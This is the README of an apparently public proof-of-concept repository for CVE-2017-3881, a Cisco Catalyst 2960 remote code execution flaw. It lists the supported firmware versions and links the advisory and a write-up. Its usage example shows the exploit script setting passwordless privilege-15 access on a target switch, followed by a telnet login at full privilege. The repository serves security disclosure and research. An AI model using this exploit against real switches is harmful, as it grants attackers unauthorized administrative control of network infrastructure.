CVE-2017-3881 Cisco Catalyst Remote Code Execution PoC
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README.md

CVE-2017-3881 Cisco IOS remote code execution

This repository contains Proof-Of-Concept code for exploiting remote code execution vulnerability disclosed by Cisco Systems on March 17th 2017 - https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170317-cmp

Description

Exploit write-up is available here - https://artkond.com/2017/04/10/cisco-catalyst-remote-code-execution/

RCE exploit code is available for Cisco Catalyst 2960 switch model. This exploit is firmware dependent. Two firmware versions are supported:

  • 12.2(55)SE1 C2960-LANBASEK9-M

  • 12.2(55)SE11 C2960-LANBASEK9-M

Denial of service code is available as a metasploit ruby module. This should work for most of the switches mentioned in the Cisco advisory (confirmation needed).

Usage example

$ python c2960-lanbasek9-m-12.2.55.se11 192.168.88.10 --set
[+] Connection OK
[+] Recieved bytes from telnet service: '\xff\xfb\x01\xff\xfb\x03\xff\xfd\x18\xff\xfd\x1f'
[+] Sending cluster option
[+] Setting credless privilege 15 authentication
[+] All done
$ telnet 192.168.88.10
Trying 192.168.88.10...
Connected to 192.168.88.10.
Escape character is '^]'.

catalyst1#show priv
Current privilege level is 15

Author

Artem Kondratenko https://twitter.com/artkond